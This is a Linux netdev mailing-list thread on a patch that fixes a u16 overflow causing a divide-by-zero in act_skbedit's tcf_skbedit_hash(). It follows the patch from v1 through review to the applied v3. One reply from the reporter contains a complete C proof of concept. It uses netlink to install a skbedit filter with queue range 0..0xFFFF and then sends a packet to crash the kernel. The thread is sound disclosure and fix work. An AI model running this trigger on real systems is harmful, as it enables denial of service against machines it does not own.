* [PATCH] net/sched: act_skbedit: fix divide-by-zero in tcf_skbedit_hash()
@ 2026-02-11 18:48 Ruitong Liu
2026-02-11 19:07 ` Eric Dumazet
` (2 more replies)
0 siblings, 3 replies; 9+ messages in thread
From: Ruitong Liu @ 2026-02-11 18:48 UTC (permalink / raw)
To: netdev
Cc: jhs, xiyou.wangcong, jiri, davem, edumazet, kuba, pabeni, horms,
linux-kernel, Ruitong Liu, stable, Shuyuan Liu
mapping_mod is computed as:
mapping_mod = queue_mapping_max - queue_mapping + 1;
mapping_mod is stored as u16, so the calculation can overflow when
queue_mapping=0 and queue_mapping_max=0xffff. In this case the value
wraps to 0, leading to a divide-by-zero in tcf_skbedit_hash():
queue_mapping += skb_get_hash(skb) % params->mapping_mod;
Fix it by using a wider type for mapping_mod and performing the
calculation in u32, preventing overflow to zero.
Fixes: 38a6f0865796 ("net: sched: support hash selecting tx queue")
Cc: stable@vger.kernel.org # 6.12+
Reported-by: Ruitong Liu <cnitlrt@gmail.com>
Reported-by: Shuyuan Liu <L0x1c3r@gmail.com>
Signed-off-by: Ruitong Liu <cnitlrt@gmail.com>
---
include/net/tc_act/tc_skbedit.h | 2 +-
net/sched/act_skbedit.c | 10 +++++-----
2 files changed, 6 insertions(+), 6 deletions(-)
diff --git a/include/net/tc_act/tc_skbedit.h b/include/net/tc_act/tc_skbedit.h
index 31b2cd0bebb5..1353bcb15ac7 100644
--- a/include/net/tc_act/tc_skbedit.h
+++ b/include/net/tc_act/tc_skbedit.h
@@ -18,7 +18,7 @@ struct tcf_skbedit_params {
u32 mark;
u32 mask;
u16 queue_mapping;
- u16 mapping_mod;
+ u32 mapping_mod;
u16 ptype;
struct rcu_head rcu;
};
diff --git a/net/sched/act_skbedit.c b/net/sched/act_skbedit.c
index 8c1d1554f657..52f6ea6436b9 100644
--- a/net/sched/act_skbedit.c
+++ b/net/sched/act_skbedit.c
@@ -26,7 +26,7 @@ static struct tc_action_ops act_skbedit_ops;
static u16 tcf_skbedit_hash(struct tcf_skbedit_params *params,
struct sk_buff *skb)
{
- u16 queue_mapping = params->queue_mapping;
+ u32 queue_mapping = params->queue_mapping;
if (params->flags & SKBEDIT_F_TXQ_SKBHASH) {
u32 hash = skb_get_hash(skb);
@@ -34,7 +34,7 @@ static u16 tcf_skbedit_hash(struct tcf_skbedit_params *params,
queue_mapping += hash % params->mapping_mod;
}
- return netdev_cap_txqueue(skb->dev, queue_mapping);
+ return netdev_cap_txqueue(skb->dev, (u16)queue_mapping);
}
TC_INDIRECT_SCOPE int tcf_skbedit_act(struct sk_buff *skb,
@@ -126,7 +126,7 @@ static int tcf_skbedit_init(struct net *net, struct nlattr *nla,
struct tcf_skbedit *d;
u32 flags = 0, *priority = NULL, *mark = NULL, *mask = NULL;
u16 *queue_mapping = NULL, *ptype = NULL;
- u16 mapping_mod = 1;
+ u32 mapping_mod = 1;
bool exists = false;
int ret = 0, err;
u32 index;
@@ -193,7 +193,7 @@ static int tcf_skbedit_init(struct net *net, struct nlattr *nla,
return -EINVAL;
}
- mapping_mod = *queue_mapping_max - *queue_mapping + 1;
+ mapping_mod = (u32)(*queue_mapping_max) - (u32)(*queue_mapping) + 1;
flags |= SKBEDIT_F_TXQ_SKBHASH;
}
if (*pure_flags & SKBEDIT_F_INHERITDSFIELD)
@@ -319,7 +319,7 @@ static int tcf_skbedit_dump(struct sk_buff *skb, struct tc_action *a,
pure_flags |= SKBEDIT_F_INHERITDSFIELD;
if (params->flags & SKBEDIT_F_TXQ_SKBHASH) {
if (nla_put_u16(skb, TCA_SKBEDIT_QUEUE_MAPPING_MAX,
- params->queue_mapping + params->mapping_mod - 1))
+ (u16)(params->queue_mapping + params->mapping_mod - 1)))
goto nla_put_failure;
pure_flags |= SKBEDIT_F_TXQ_SKBHASH;
--
2.34.1
^ permalink raw reply related [flat|nested] 9+ messages in thread
* Re: [PATCH] net/sched: act_skbedit: fix divide-by-zero in tcf_skbedit_hash()
2026-02-11 18:48 [PATCH] net/sched: act_skbedit: fix divide-by-zero in tcf_skbedit_hash() Ruitong Liu
@ 2026-02-11 19:07 ` Eric Dumazet
2026-02-11 19:43 ` [PATCH v2] " Ruitong Liu
2026-02-13 17:59 ` [PATCH v3] " Ruitong Liu
2 siblings, 0 replies; 9+ messages in thread
From: Eric Dumazet @ 2026-02-11 19:07 UTC (permalink / raw)
To: Ruitong Liu
Cc: netdev, jhs, xiyou.wangcong, jiri, davem, kuba, pabeni, horms,
linux-kernel, stable, Shuyuan Liu
On Wed, Feb 11, 2026 at 7:48 PM Ruitong Liu <cnitlrt@gmail.com> wrote:
>
> mapping_mod is computed as:
>
> mapping_mod = queue_mapping_max - queue_mapping + 1;
>
> mapping_mod is stored as u16, so the calculation can overflow when
> queue_mapping=0 and queue_mapping_max=0xffff. In this case the value
> wraps to 0, leading to a divide-by-zero in tcf_skbedit_hash():
>
> queue_mapping += skb_get_hash(skb) % params->mapping_mod;
>
> Fix it by using a wider type for mapping_mod and performing the
> calculation in u32, preventing overflow to zero.
>
> Fixes: 38a6f0865796 ("net: sched: support hash selecting tx queue")
> Cc: stable@vger.kernel.org # 6.12+
> Reported-by: Ruitong Liu <cnitlrt@gmail.com>
> Reported-by: Shuyuan Liu <L0x1c3r@gmail.com>
> Signed-off-by: Ruitong Liu <cnitlrt@gmail.com>
> ---
I do not think we want to support very large mapping_mod values, this
makes no sense.
Please reject wrong configuration instead.
diff --git a/net/sched/act_skbedit.c b/net/sched/act_skbedit.c
index 8c1d1554f657..0ab83dc776d1 100644
--- a/net/sched/act_skbedit.c
+++ b/net/sched/act_skbedit.c
@@ -126,7 +126,7 @@ static int tcf_skbedit_init(struct net *net,
struct nlattr *nla,
struct tcf_skbedit *d;
u32 flags = 0, *priority = NULL, *mark = NULL, *mask = NULL;
u16 *queue_mapping = NULL, *ptype = NULL;
- u16 mapping_mod = 1;
+ u32 mapping_mod = 1;
bool exists = false;
int ret = 0, err;
u32 index;
@@ -194,6 +194,10 @@ static int tcf_skbedit_init(struct net *net,
struct nlattr *nla,
}
mapping_mod = *queue_mapping_max - *queue_mapping + 1;
+ if (mapping_mod > 0xFFFF) {
+ NL_SET_ERR_MSG_MOD(extack, "The range
of queue_mapping is invalid.");
+ return -EINVAL;
+ }
flags |= SKBEDIT_F_TXQ_SKBHASH;
}
if (*pure_flags & SKBEDIT_F_INHERITDSFIELD)
^ permalink raw reply related [flat|nested] 9+ messages in thread
* [PATCH v2] net/sched: act_skbedit: fix divide-by-zero in tcf_skbedit_hash()
2026-02-11 18:48 [PATCH] net/sched: act_skbedit: fix divide-by-zero in tcf_skbedit_hash() Ruitong Liu
2026-02-11 19:07 ` Eric Dumazet
@ 2026-02-11 19:43 ` Ruitong Liu
2026-02-13 2:08 ` Jakub Kicinski
2026-02-13 17:59 ` [PATCH v3] " Ruitong Liu
2 siblings, 1 reply; 9+ messages in thread
From: Ruitong Liu @ 2026-02-11 19:43 UTC (permalink / raw)
To: netdev
Cc: jhs, xiyou.wangcong, jiri, davem, edumazet, kuba, pabeni, horms,
linux-kernel, Ruitong Liu, stable, Shuyuan Liu
Commit 38a6f0865796 ("net: sched: support hash selecting tx queue")
added SKBEDIT_F_TXQ_SKBHASH support. mapping_mod is computed as:
mapping_mod = queue_mapping_max - queue_mapping + 1;
mapping_mod is stored as u16, so the calculation can overflow when the
requested range covers 65536 queues (e.g. queue_mapping=0 and
queue_mapping_max=0xffff). In that case mapping_mod wraps to 0 and
tcf_skbedit_hash() triggers a divide-by-zero:
queue_mapping += skb_get_hash(skb) % params->mapping_mod;
Reject such invalid configuration to prevent mapping_mod from becoming
0 and avoid the crash.
Fixes: 38a6f0865796 ("net: sched: support hash selecting tx queue")
Cc: stable@vger.kernel.org # 6.12+
Reported-by: Ruitong Liu <cnitlrt@gmail.com>
Reported-by: Shuyuan Liu <L0x1c3r@gmail.com>
Signed-off-by: Ruitong Liu <cnitlrt@gmail.com>
---
net/sched/act_skbedit.c | 4 ++++
1 file changed, 4 insertions(+)
diff --git a/net/sched/act_skbedit.c b/net/sched/act_skbedit.c
index 8c1d1554f657..b6f5c21651fc 100644
--- a/net/sched/act_skbedit.c
+++ b/net/sched/act_skbedit.c
@@ -194,6 +194,10 @@ static int tcf_skbedit_init(struct net *net, struct nlattr *nla,
}
mapping_mod = *queue_mapping_max - *queue_mapping + 1;
+ if (!mapping_mod) {
+ NL_SET_ERR_MSG_MOD(extack, "Invalid queue_mapping range: range too large");
+ return -EINVAL;
+ }
flags |= SKBEDIT_F_TXQ_SKBHASH;
}
if (*pure_flags & SKBEDIT_F_INHERITDSFIELD)
--
2.34.1
^ permalink raw reply related [flat|nested] 9+ messages in thread
* Re: [PATCH v2] net/sched: act_skbedit: fix divide-by-zero in tcf_skbedit_hash()
2026-02-11 19:43 ` [PATCH v2] " Ruitong Liu
@ 2026-02-13 2:08 ` Jakub Kicinski
2026-02-13 3:29 ` RUITONG LIU
0 siblings, 1 reply; 9+ messages in thread
From: Jakub Kicinski @ 2026-02-13 2:08 UTC (permalink / raw)
To: Ruitong Liu
Cc: netdev, jhs, xiyou.wangcong, jiri, davem, edumazet, pabeni, horms,
linux-kernel, stable, Shuyuan Liu
On Thu, 12 Feb 2026 03:43:25 +0800 Ruitong Liu wrote:
> Commit 38a6f0865796 ("net: sched: support hash selecting tx queue")
> added SKBEDIT_F_TXQ_SKBHASH support. mapping_mod is computed as:
>
> mapping_mod = queue_mapping_max - queue_mapping + 1;
>
> mapping_mod is stored as u16, so the calculation can overflow when the
> requested range covers 65536 queues (e.g. queue_mapping=0 and
> queue_mapping_max=0xffff). In that case mapping_mod wraps to 0 and
> tcf_skbedit_hash() triggers a divide-by-zero:
>
> queue_mapping += skb_get_hash(skb) % params->mapping_mod;
>
> Reject such invalid configuration to prevent mapping_mod from becoming
> 0 and avoid the crash.
How did you find this bug? Do you have a repro to trigger the issue
you're describing?
> @@ -194,6 +194,10 @@ static int tcf_skbedit_init(struct net *net, struct nlattr *nla,
> }
>
> mapping_mod = *queue_mapping_max - *queue_mapping + 1;
> + if (!mapping_mod) {
> + NL_SET_ERR_MSG_MOD(extack, "Invalid queue_mapping range: range too large");
> + return -EINVAL;
> + }
> flags |= SKBEDIT_F_TXQ_SKBHASH;
> }
> if (*pure_flags & SKBEDIT_F_INHERITDSFIELD)
There is this check right above the lines you're touching:
if (*queue_mapping_max < *queue_mapping) {
NL_SET_ERR_MSG_MOD(extack, "The range of queue_mapping is invalid, max < min.");
return -EINVAL;
}
I don't see how mapping_mod can be 0 here.
--
pw-bot: reject
^ permalink raw reply [flat|nested] 9+ messages in thread
* Re: [PATCH v2] net/sched: act_skbedit: fix divide-by-zero in tcf_skbedit_hash()
2026-02-13 2:08 ` Jakub Kicinski
@ 2026-02-13 3:29 ` RUITONG LIU
2026-02-13 16:24 ` Jakub Kicinski
0 siblings, 1 reply; 9+ messages in thread
From: RUITONG LIU @ 2026-02-13 3:29 UTC (permalink / raw)
To: Jakub Kicinski
Cc: netdev, jhs, xiyou.wangcong, jiri, davem, edumazet, pabeni, horms,
linux-kernel, stable, Shuyuan Liu
With queue_mapping = 0 and queue_mapping_max = 65535, the existing
validation passes because it only checks queue_mapping_max <
queue_mapping, which is false. The code then computes the inclusive
range size:
mapping_mod = queue_mapping_max - queue_mapping + 1 = 65536.
However, mapping_mod is stored in a u16, so 65536 wraps to 0. This 0
value is later used as the divisor in a modulo operation (hash %
mapping_mod), causing a divide-by-zero.
This is the poc, and we use agent found this bug
```c
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/if_ether.h>
#include <linux/netlink.h>
#include <linux/pkt_cls.h>
#include <linux/pkt_sched.h>
#include <linux/rtnetlink.h>
#include <linux/tc_act/tc_skbedit.h>
#include <net/if.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#ifndef SKBEDIT_F_TXQ_SKBHASH
#define SKBEDIT_F_TXQ_SKBHASH 0x40
#endif
#ifndef TCA_SKBEDIT_QUEUE_MAPPING_MAX
#define TCA_SKBEDIT_QUEUE_MAPPING_MAX 10
#endif
#define BUF_SIZE 8192
#define NLMSG_TAIL(nmsg) \
((struct nlattr *)(((void *)(nmsg)) + NLMSG_ALIGN((nmsg)->nlmsg_len)))
static int addattr_l(struct nlmsghdr *n, size_t maxlen, int type,
const void *data, size_t alen) {
size_t len = NLA_ALIGN(alen) + NLA_HDRLEN;
size_t newlen = NLMSG_ALIGN(n->nlmsg_len) + len;
if (newlen > maxlen)
return -1;
struct nlattr *na = NLMSG_TAIL(n);
na->nla_type = type;
na->nla_len = NLA_HDRLEN + alen;
if (alen && data)
memcpy((char *)na + NLA_HDRLEN, data, alen);
n->nlmsg_len = newlen;
return 0;
}
static struct nlattr *addattr_nest(struct nlmsghdr *n, size_t maxlen,
int type) {
struct nlattr *start = NLMSG_TAIL(n);
if (addattr_l(n, maxlen, type | NLA_F_NESTED, NULL, 0) < 0)
return NULL;
return start;
}
static int addattr_nest_end(struct nlmsghdr *n, struct nlattr *start) {
start->nla_len = (char *)NLMSG_TAIL(n) - (char *)start;
return n->nlmsg_len;
}
static int nl_talk(int fd, struct nlmsghdr *nlh) {
struct sockaddr_nl nladdr = {0};
nladdr.nl_family = AF_NETLINK;
struct iovec iov = {0};
iov.iov_base = nlh;
iov.iov_len = nlh->nlmsg_len;
struct msghdr msg = {0};
msg.msg_name = &nladdr;
msg.msg_namelen = sizeof(nladdr);
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
if (sendmsg(fd, &msg, 0) < 0)
return -errno;
char buf[BUF_SIZE];
while (1) {
int len = recv(fd, buf, sizeof(buf), 0);
if (len < 0) {
if (errno == EINTR)
continue;
return -errno;
}
struct nlmsghdr *h;
for (h = (struct nlmsghdr *)buf; NLMSG_OK(h, len);
h = NLMSG_NEXT(h, len)) {
if (h->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(h);
if (err->error == 0)
return 0;
return err->error;
}
}
}
}
static int add_clsact_qdisc(int fd, int ifindex, int *seq) {
struct {
struct nlmsghdr n;
struct tcmsg t;
char buf[256];
} req = {0};
req.n.nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg));
req.n.nlmsg_type = RTM_NEWQDISC;
req.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE |
NLM_F_REPLACE;
req.n.nlmsg_seq = ++(*seq);
req.n.nlmsg_pid = getpid();
req.t.tcm_family = AF_UNSPEC;
req.t.tcm_ifindex = ifindex;
req.t.tcm_parent = TC_H_CLSACT;
req.t.tcm_handle = TC_H_MAKE(TC_H_INGRESS, 0);
const char kind[] = "clsact";
if (addattr_l(&req.n, sizeof(req), TCA_KIND, kind, sizeof(kind)) < 0)
return -1;
return nl_talk(fd, &req.n);
}
static int add_u32_filter_skbedit(int fd, int ifindex, int *seq) {
struct {
struct nlmsghdr n;
struct tcmsg t;
char buf[1024];
} req = {0};
req.n.nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg));
req.n.nlmsg_type = RTM_NEWTFILTER;
req.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
req.n.nlmsg_seq = ++(*seq);
req.n.nlmsg_pid = getpid();
req.t.tcm_family = AF_UNSPEC;
req.t.tcm_ifindex = ifindex;
req.t.tcm_parent = TC_H_MAKE(TC_H_CLSACT, TC_H_MIN_EGRESS);
req.t.tcm_handle = 0;
req.t.tcm_info = TC_H_MAKE(1 << 16, htons(ETH_P_ALL));
const char kind[] = "u32";
if (addattr_l(&req.n, sizeof(req), TCA_KIND, kind, sizeof(kind)) < 0)
return -1;
struct nlattr *opts = addattr_nest(&req.n, sizeof(req), TCA_OPTIONS);
if (!opts)
return -1;
/* u32 selector: one key that always matches */
char selbuf[sizeof(struct tc_u32_sel) + sizeof(struct tc_u32_key)];
memset(selbuf, 0, sizeof(selbuf));
struct tc_u32_sel *sel = (struct tc_u32_sel *)selbuf;
struct tc_u32_key *key = (struct tc_u32_key *)(sel->keys);
sel->flags = TC_U32_TERMINAL;
sel->offshift = 0;
sel->nkeys = 1;
sel->offmask = 0;
sel->off = 0;
sel->offoff = 0;
sel->hoff = 0;
sel->hmask = htonl(0);
key->mask = 0;
key->val = 0;
key->off = 0;
key->offmask = 0;
if (addattr_l(&req.n, sizeof(req), TCA_U32_SEL, selbuf, sizeof(selbuf)) < 0)
return -1;
struct nlattr *act = addattr_nest(&req.n, sizeof(req), TCA_U32_ACT);
if (!act)
return -1;
struct nlattr *act1 = addattr_nest(&req.n, sizeof(req), 1);
if (!act1)
return -1;
const char act_kind[] = "skbedit";
if (addattr_l(&req.n, sizeof(req), TCA_ACT_KIND, act_kind,
sizeof(act_kind)) < 0)
return -1;
struct nlattr *act_opts = addattr_nest(&req.n, sizeof(req),
TCA_ACT_OPTIONS);
if (!act_opts)
return -1;
struct tc_skbedit parm = {0};
parm.action = TC_ACT_OK;
parm.index = 0;
if (addattr_l(&req.n, sizeof(req), TCA_SKBEDIT_PARMS, &parm,
sizeof(parm)) < 0)
return -1;
uint16_t qmap = 0;
uint16_t qmap_max = 0xFFFFu;
uint64_t flags = SKBEDIT_F_TXQ_SKBHASH;
if (addattr_l(&req.n, sizeof(req), TCA_SKBEDIT_QUEUE_MAPPING,
&qmap, sizeof(qmap)) < 0)
return -1;
if (addattr_l(&req.n, sizeof(req), TCA_SKBEDIT_QUEUE_MAPPING_MAX,
&qmap_max, sizeof(qmap_max)) < 0)
return -1;
if (addattr_l(&req.n, sizeof(req), TCA_SKBEDIT_FLAGS, &flags,
sizeof(flags)) < 0)
return -1;
addattr_nest_end(&req.n, act_opts);
addattr_nest_end(&req.n, act1);
addattr_nest_end(&req.n, act);
addattr_nest_end(&req.n, opts);
return nl_talk(fd, &req.n);
}
static int trigger_packet(const char *ifname) {
int s = socket(AF_INET, SOCK_DGRAM, 0);
if (s < 0)
return -errno;
if (ifname) {
if (setsockopt(s, SOL_SOCKET, SO_BINDTODEVICE, ifname,
strlen(ifname) + 1) < 0) {
int err = -errno;
close(s);
return err;
}
}
struct sockaddr_in addr = {0};
addr.sin_family = AF_INET;
addr.sin_port = htons(12345);
addr.sin_addr.s_addr = inet_addr("10.0.2.2");
char buf[64] = "trigger";
int ret = sendto(s, buf, sizeof(buf), 0, (struct sockaddr *)&addr,
sizeof(addr));
if (ret < 0) {
int err = -errno;
close(s);
return err;
}
close(s);
return 0;
}
int main(void) {
int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (fd < 0) {
perror("socket(NETLINK_ROUTE)");
return 1;
}
struct sockaddr_nl local = {0};
local.nl_family = AF_NETLINK;
local.nl_pid = getpid();
if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0) {
perror("bind");
return 1;
}
const char *ifname = "eth0";
int ifindex = if_nametoindex(ifname);
if (!ifindex) {
ifname = "lo";
ifindex = if_nametoindex(ifname);
if (!ifindex) {
perror("if_nametoindex(eth0/lo)");
return 1;
}
}
int seq = 0;
int err = add_clsact_qdisc(fd, ifindex, &seq);
if (err && err != -EEXIST) {
fprintf(stderr, "add clsact qdisc failed: %s (%d)\n",
strerror(-err), err);
return 1;
}
err = add_u32_filter_skbedit(fd, ifindex, &seq);
if (err) {
fprintf(stderr, "add u32 skbedit filter failed: %s (%d)\n",
strerror(-err), err);
return 1;
}
err = trigger_packet(ifname);
if (err) {
fprintf(stderr, "trigger_packet failed: %s (%d)\n",
strerror(-err), err);
return 1;
}
printf("skbedit filter installed and packet sent. Check kernel log
for crash/KASAN.\n");
return 0;
}
```
Jakub Kicinski <kuba@kernel.org> 于2026年2月12日周四 19:08写道:
>
> On Thu, 12 Feb 2026 03:43:25 +0800 Ruitong Liu wrote:
> > Commit 38a6f0865796 ("net: sched: support hash selecting tx queue")
> > added SKBEDIT_F_TXQ_SKBHASH support. mapping_mod is computed as:
> >
> > mapping_mod = queue_mapping_max - queue_mapping + 1;
> >
> > mapping_mod is stored as u16, so the calculation can overflow when the
> > requested range covers 65536 queues (e.g. queue_mapping=0 and
> > queue_mapping_max=0xffff). In that case mapping_mod wraps to 0 and
> > tcf_skbedit_hash() triggers a divide-by-zero:
> >
> > queue_mapping += skb_get_hash(skb) % params->mapping_mod;
> >
> > Reject such invalid configuration to prevent mapping_mod from becoming
> > 0 and avoid the crash.
>
> How did you find this bug? Do you have a repro to trigger the issue
> you're describing?
>
> > @@ -194,6 +194,10 @@ static int tcf_skbedit_init(struct net *net, struct nlattr *nla,
> > }
> >
> > mapping_mod = *queue_mapping_max - *queue_mapping + 1;
> > + if (!mapping_mod) {
> > + NL_SET_ERR_MSG_MOD(extack, "Invalid queue_mapping range: range too large");
> > + return -EINVAL;
> > + }
> > flags |= SKBEDIT_F_TXQ_SKBHASH;
> > }
> > if (*pure_flags & SKBEDIT_F_INHERITDSFIELD)
>
>
> There is this check right above the lines you're touching:
>
> if (*queue_mapping_max < *queue_mapping) {
> NL_SET_ERR_MSG_MOD(extack, "The range of queue_mapping is invalid, max < min.");
> return -EINVAL;
> }
>
> I don't see how mapping_mod can be 0 here.
> --
> pw-bot: reject
^ permalink raw reply [flat|nested] 9+ messages in thread
* Re: [PATCH v2] net/sched: act_skbedit: fix divide-by-zero in tcf_skbedit_hash()
2026-02-13 3:29 ` RUITONG LIU
@ 2026-02-13 16:24 ` Jakub Kicinski
0 siblings, 0 replies; 9+ messages in thread
From: Jakub Kicinski @ 2026-02-13 16:24 UTC (permalink / raw)
To: RUITONG LIU
Cc: netdev, jhs, xiyou.wangcong, jiri, davem, edumazet, pabeni, horms,
linux-kernel, stable, Shuyuan Liu
On Thu, 12 Feb 2026 20:29:20 -0700 RUITONG LIU wrote:
> With queue_mapping = 0 and queue_mapping_max = 65535, the existing
> validation passes because it only checks queue_mapping_max <
> queue_mapping, which is false. The code then computes the inclusive
> range size:
> mapping_mod = queue_mapping_max - queue_mapping + 1 = 65536.
> However, mapping_mod is stored in a u16, so 65536 wraps to 0. This 0
> value is later used as the divisor in a modulo operation (hash %
> mapping_mod), causing a divide-by-zero.
I see, thanks, could you please use the version of the patch
that Eric posted? It's much more intuitive than checking for 0.
Maybe use U16_MAX instead of 0xffff, too
^ permalink raw reply [flat|nested] 9+ messages in thread
* [PATCH v3] net/sched: act_skbedit: fix divide-by-zero in tcf_skbedit_hash()
2026-02-11 18:48 [PATCH] net/sched: act_skbedit: fix divide-by-zero in tcf_skbedit_hash() Ruitong Liu
2026-02-11 19:07 ` Eric Dumazet
2026-02-11 19:43 ` [PATCH v2] " Ruitong Liu
@ 2026-02-13 17:59 ` Ruitong Liu
2026-02-18 1:29 ` Jakub Kicinski
2026-02-18 1:40 ` patchwork-bot+netdevbpf
2 siblings, 2 replies; 9+ messages in thread
From: Ruitong Liu @ 2026-02-13 17:59 UTC (permalink / raw)
To: netdev
Cc: jhs, xiyou.wangcong, jiri, davem, edumazet, kuba, pabeni, horms,
linux-kernel, Ruitong Liu, stable, Shuyuan Liu
Commit 38a6f0865796 ("net: sched: support hash selecting tx queue")
added SKBEDIT_F_TXQ_SKBHASH support. The inclusive range size is
computed as:
mapping_mod = queue_mapping_max - queue_mapping + 1;
The range size can be 65536 when the requested range covers all possible
u16 queue IDs (e.g. queue_mapping=0 and queue_mapping_max=U16_MAX).
That value cannot be represented in a u16 and previously wrapped to 0,
so tcf_skbedit_hash() could trigger a divide-by-zero:
queue_mapping += skb_get_hash(skb) % params->mapping_mod;
Compute mapping_mod in a wider type and reject ranges larger than U16_MAX
to prevent params->mapping_mod from becoming 0 and avoid the crash.
Fixes: 38a6f0865796 ("net: sched: support hash selecting tx queue")
Cc: stable@vger.kernel.org # 6.12+
Reported-by: Ruitong Liu <cnitlrt@gmail.com>
Closes: https://lore.kernel.org/all/20260211184848.731894-1-cnitlrt@gmail.com/
Reported-by: Shuyuan Liu <L0x1c3r@gmail.com>
Closes: https://lore.kernel.org/all/20260211184848.731894-1-cnitlrt@gmail.com/
Signed-off-by: Ruitong Liu <cnitlrt@gmail.com>
---
net/sched/act_skbedit.c | 6 +++++-
1 file changed, 5 insertions(+), 1 deletion(-)
diff --git a/net/sched/act_skbedit.c b/net/sched/act_skbedit.c
index 8c1d1554f657..5450c1293eb5 100644
--- a/net/sched/act_skbedit.c
+++ b/net/sched/act_skbedit.c
@@ -126,7 +126,7 @@ static int tcf_skbedit_init(struct net *net, struct nlattr *nla,
struct tcf_skbedit *d;
u32 flags = 0, *priority = NULL, *mark = NULL, *mask = NULL;
u16 *queue_mapping = NULL, *ptype = NULL;
- u16 mapping_mod = 1;
+ u32 mapping_mod = 1;
bool exists = false;
int ret = 0, err;
u32 index;
@@ -194,6 +194,10 @@ static int tcf_skbedit_init(struct net *net, struct nlattr *nla,
}
mapping_mod = *queue_mapping_max - *queue_mapping + 1;
+ if (mapping_mod > U16_MAX) {
+ NL_SET_ERR_MSG_MOD(extack, "The range of queue_mapping is invalid.");
+ return -EINVAL;
+ }
flags |= SKBEDIT_F_TXQ_SKBHASH;
}
if (*pure_flags & SKBEDIT_F_INHERITDSFIELD)
--
2.34.1
^ permalink raw reply related [flat|nested] 9+ messages in thread
* Re: [PATCH v3] net/sched: act_skbedit: fix divide-by-zero in tcf_skbedit_hash()
2026-02-13 17:59 ` [PATCH v3] " Ruitong Liu
@ 2026-02-18 1:29 ` Jakub Kicinski
2026-02-18 1:40 ` patchwork-bot+netdevbpf
1 sibling, 0 replies; 9+ messages in thread
From: Jakub Kicinski @ 2026-02-18 1:29 UTC (permalink / raw)
To: Ruitong Liu
Cc: netdev, jhs, xiyou.wangcong, jiri, davem, edumazet, pabeni, horms,
linux-kernel, stable, Shuyuan Liu
On Sat, 14 Feb 2026 01:59:48 +0800 Ruitong Liu wrote:
> Reported-by: Ruitong Liu <cnitlrt@gmail.com>
> Closes: https://lore.kernel.org/all/20260211184848.731894-1-cnitlrt@gmail.com/
> Reported-by: Shuyuan Liu <L0x1c3r@gmail.com>
> Closes: https://lore.kernel.org/all/20260211184848.731894-1-cnitlrt@gmail.com/
Please don't abuse reported-by tags.
These tags are only used when the reporter is not the same
as the author. If you're sending a fix without a reported-by
tag it's implied that you found the issue yourself.
^ permalink raw reply [flat|nested] 9+ messages in thread
* Re: [PATCH v3] net/sched: act_skbedit: fix divide-by-zero in tcf_skbedit_hash()
2026-02-13 17:59 ` [PATCH v3] " Ruitong Liu
2026-02-18 1:29 ` Jakub Kicinski
@ 2026-02-18 1:40 ` patchwork-bot+netdevbpf
1 sibling, 0 replies; 9+ messages in thread
From: patchwork-bot+netdevbpf @ 2026-02-18 1:40 UTC (permalink / raw)
To: Ruitong Liu
Cc: netdev, jhs, xiyou.wangcong, jiri, davem, edumazet, kuba, pabeni,
horms, linux-kernel, stable, L0x1c3r
Hello:
This patch was applied to netdev/net.git (main)
by Jakub Kicinski <kuba@kernel.org>:
On Sat, 14 Feb 2026 01:59:48 +0800 you wrote:
> Commit 38a6f0865796 ("net: sched: support hash selecting tx queue")
> added SKBEDIT_F_TXQ_SKBHASH support. The inclusive range size is
> computed as:
>
> mapping_mod = queue_mapping_max - queue_mapping + 1;
>
> The range size can be 65536 when the requested range covers all possible
> u16 queue IDs (e.g. queue_mapping=0 and queue_mapping_max=U16_MAX).
> That value cannot be represented in a u16 and previously wrapped to 0,
> so tcf_skbedit_hash() could trigger a divide-by-zero:
>
> [...]
Here is the summary with links:
- [v3] net/sched: act_skbedit: fix divide-by-zero in tcf_skbedit_hash()
https://git.kernel.org/netdev/net/c/be054cc66f73
You are awesome, thank you!
--
Deet-doot-dot, I am a bot.
https://korg.docs.kernel.org/patchwork/pwbot.html
^ permalink raw reply [flat|nested] 9+ messages in thread
end of thread, other threads:[~2026-02-18 1:40 UTC | newest]
Thread overview: 9+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-02-11 18:48 [PATCH] net/sched: act_skbedit: fix divide-by-zero in tcf_skbedit_hash() Ruitong Liu
2026-02-11 19:07 ` Eric Dumazet
2026-02-11 19:43 ` [PATCH v2] " Ruitong Liu
2026-02-13 2:08 ` Jakub Kicinski
2026-02-13 3:29 ` RUITONG LIU
2026-02-13 16:24 ` Jakub Kicinski
2026-02-13 17:59 ` [PATCH v3] " Ruitong Liu
2026-02-18 1:29 ` Jakub Kicinski
2026-02-18 1:40 ` patchwork-bot+netdevbpf
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox